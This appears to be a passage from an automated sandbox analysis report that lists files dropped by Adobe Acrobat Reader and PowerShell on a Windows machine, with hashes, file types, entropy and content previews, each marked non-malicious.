Encrypted:	false
SSDEEP:	24:Yv6XBUEjamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSP:YvMBgkDMUJUAh8cvMP
MD5:	657D0227254C6D15B7B9E0813C2E659D
SHA1:	140091E2F760A06799C5AA1A54060E382C1795FD
SHA-256:	CA6C01460D4B6FC0BC77C00C7629C2FC81F070A243B5974E30613372FC8977B1
SHA-512:	E29CDFDB14E5BE57874D8A0C06E7E8003008248189E55D9D2BEA9DB78E8EFD28C92D0F2F425C11F9E2DB3A1BD2799329566EFA85DF55AFECC3D6A0C0796A4D84
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c7b2fc3b-4987-478e-be27-9ddf37cb496b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737148694387,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.267585098221965
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzNHNyzUvnZiQ0Yt9xxoAvJfshHHrPeUkwRe9:YvXKXRNBvcEGGUUUkee9
MD5:	82C875254190475453700B487835C4FB
SHA1:	E72F9DBDC3B592DF8826603E4303A758824531B8
SHA-256:	88304215A0A1CF4D47EE3981F0C2ACB00C3E3584C0EECB0F7EB3F6B0810DF966
SHA-512:	DA6436E54CFCE7A8E18D72D015DDFAB1BB80BFB8E92118F7CB35CD0CA6DBF8BF294F88F049D26554643F8D7F8F07BBA79704A3CEF6F9A592BD497180920FB639
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c7b2fc3b-4987-478e-be27-9ddf37cb496b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737148694387,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.278692001493893
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzNHNyzUvnZiQ0Yt9xxoAvJTqgFCrPeUkwRe9:YvXKXRNBvcEGGTq16Ukee9
MD5:	2B43B9F2C24F3F38857FB8E21A4829C0
SHA1:	CA18282CE67D918382D6F3590AF81D2E40A0EF34
SHA-256:	5693BD029A2DDBEFB39CE1781A284F61089862ED5CB96FC50D8342626BEAE83E
SHA-512:	9904A3A8C5C4273C72318BEB9E3B7543ED04A8C824913ACF77EE456021921B06E281D98897069FE2AB3EF6907314B27BAA7AD9FEDD320EC2277A2C0677712B6D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c7b2fc3b-4987-478e-be27-9ddf37cb496b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737148694387,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.130352090838719
Encrypted:	false
SSDEEP:	24:Ynhalyc/aygJSsh4t8uKvEfyjOj0SX15Ka292LSt4NmC2jciVLalnELG5gVh9WB5:Y2XuMsqXKvEswT7AJbjcixaxEqYh9w
MD5:	9A309CC79A9E270D5A8ADAF2B2DE92E2
SHA1:	5604C024081D80FDF709B36C2227F13B7D909ED5
SHA-256:	E849CFC62A3F5F5A7F883781E7C86EF1F862D582A322717614DA132440AE49AD
SHA-512:	2013D79A05666ED9E091BE813AD55589ED95A2EDD55E9DCF1A25A3C66163D20A010417796786CD123FC283C48988655A4B560DB1B545E7EFFB895CD331410001
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"7c071be6ba3657c11a21eb7056fd0260","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736970133000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"9a7386faa9ea10a2a9aa765b03cf20da","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736970133000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8fff88bfefa09a6e9d4b03a1813ea217","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736970133000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ebcbbc5eca2af403d6b750a66c7cc943","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736970133000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"43e694c32d15402cc5d0e78e6ece0daa","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736970133000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"1c7baf5287899466a935f4e55c5c713d","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.146424106096564
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursWGRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudco:TFl2GL7msWYXc+XcGNFlRYIX2v3kVe
MD5:	807B5123B59070B343D40A9EB0ADF54F
SHA1:	F45B8936368CB131A9EB3CB077974A0D4B99C38E
SHA-256:	00292E383A4560CCD9FD0DB1BC508BDEA1886DDDE362A197869648879795AACC
SHA-512:	DCEF8812B0F49010291AD35018C60FF13C5B30EB970B8AF92722ED1CDDDB382CAA63B70D2391F7EB1BCB239232A3BB08018770B508B789602448DE5246A41D46
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.55268668093158
Encrypted:	false
SSDEEP:	24:7+t6GUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxyqLxx/XYKS:7M6vXc+XcGNFlRYIX2vPqVl2GL7msq
MD5:	71707F2796CD7C1B70810666452703ED
SHA1:	BFE4170E5EEB71DAC0E0AD82AEE548406B932E09
SHA-256:	0B9DE9245414141D05200330E98D9E78BC0AD8172F202917E3ADD7B56ADC212C
SHA-512:	F7E766F355ADE86D97A90E32331BDDA7A311214C2821511F4D7A1E9A3AC229EB3FBD156F1ACDBCCD38C9FAACFA26710DAE0E38EFD480BF1E04153B30DE5CC802
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg9F9tBPWrWSb4OZBh7oFlmyVYyu:6a6TZ44ADE9FnBPWrWfOZ4K
MD5:	BD42D825B60D36F5E2E9D29E22412D29
SHA1:	A0DCD2B2618441D4C2E2C1FA372357F5923715E2
SHA-256:	CD46ADD7C681DE10F1F5FB8E52D98456A1816B20785AC10D4F71236C786FE88D
SHA-512:	CBC44C6C5B1697A932DE8951F49B64E7C2ABEEC5E030024EB4B94A986B1B11DCBA9D5D189D6EF9DD8E6AEADE88B6F994A06A4C5282526D1597E6A18135F0AE50
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIc8e96.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4969396028059014
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8+pClER2XH:Qw946cPbiOxDlbYnuRKZDcXH
MD5:	4493209A9937D0E0E0F995CAAA878A5D
SHA1:	2954CF47F302537FDF27C25645522C0CC9B1C0C8
SHA-256:	1377C4282176BAC841803FE32CF882E25F90574D44AFE4DB0A563C58BB6637DF
SHA-512:	59DECEB9BD8EE0AF29F01AB955DB6847D42CFA6163F98F2DEF2CD41D8F7EF5FF88C1E3386DAB08D921B1A84985828A4EDCF301864B4BC178D4E6132313A3F8A6
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.5./.0.1./.2.0.2.5. . .1.4.:.4.2.:.1.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pnzol34r.4s2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t5zmemlc.pxp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-15 14-42-06-494.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.340382835066939
Encrypted:	false
SSDEEP:	384:ZdoVQMh+FVGW2rar9M5AFnNBBGNWoEoa3TbN/r9p/nVzVpo7zQ/8tv8VkScoO5x5:xgH
MD5:	8EF2BA3702879A4D60D98517F98E2F75
SHA1:	9E2EC6474AA3593AEF736A194943CA35E0619F72
SHA-256:	CEA3A25E3A567D4E103D484F7140A83CCAF18855D86CB4CFA7A3D8E6535F9F53
SHA-512:	AB504665E9828D1AED309E5F25CBEA0DB9D6548E7738A41796A67101098C486E1CE643C3FB1129304EDFCD8A5827C8E568EF388C276AEF0080B3ED40E1737256
Malicious:	false
Preview:	SessionID=6c5b81ae-75cf-4a1c-af62-74e5847ee994.1736970126508 Timestamp=2025-01-15T14:42:06:508-0500 ThreadID=7628 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=6c5b81ae-75cf-4a1c-af62-74e5847ee994.1736970126508 Timestamp=2025-01-15T14:42:06:508-0500 ThreadID=7628 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=6c5b81ae-75cf-4a1c-af62-74e5847ee994.1736970126508 Timestamp=2025-01-15T14:42:06:509-0500 ThreadID=7628 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=6c5b81ae-75cf-4a1c-af62-74e5847ee994.1736970126508 Timestamp=2025-01-15T14:42:06:509-0500 ThreadID=7628 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=6c5b81ae-75cf-4a1c-af62-74e5847ee994.1736970126508 Timestamp=2025-01-15T14:42:06:509-0500 ThreadID=7628 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395822993252639
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcb1cb2ISmcbJ:V3fOCIdJDe0Sd
MD5:	18E1C33963A367BD53BD3E89AF442EE0
SHA1:	23150D723A99F97241BA78C866DE226ED511F2C9
SHA-256:	668B0AE797A93AE99046342673141ECB70DCC8266692290E592DE3432B62BF12
SHA-512:	4E4D774D136B7362792EBF85D62F50EFB0A4080E2BB204FA5EDE54BED21F3427B2725CA2C4A0A3A39E102CE0E000FD31EED056BA07D06E8366412A31B3D70C6E
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\436bc9ec-c6d2-4955-b51b-44f3c70b935c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\538ad473-cd6b-4bfc-9554-b524a241774c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\5c516a6a-5836-4d72-aafd-e369d95bb857.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9077dea9-3573-47ef-ae75-73a3fad485ba.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
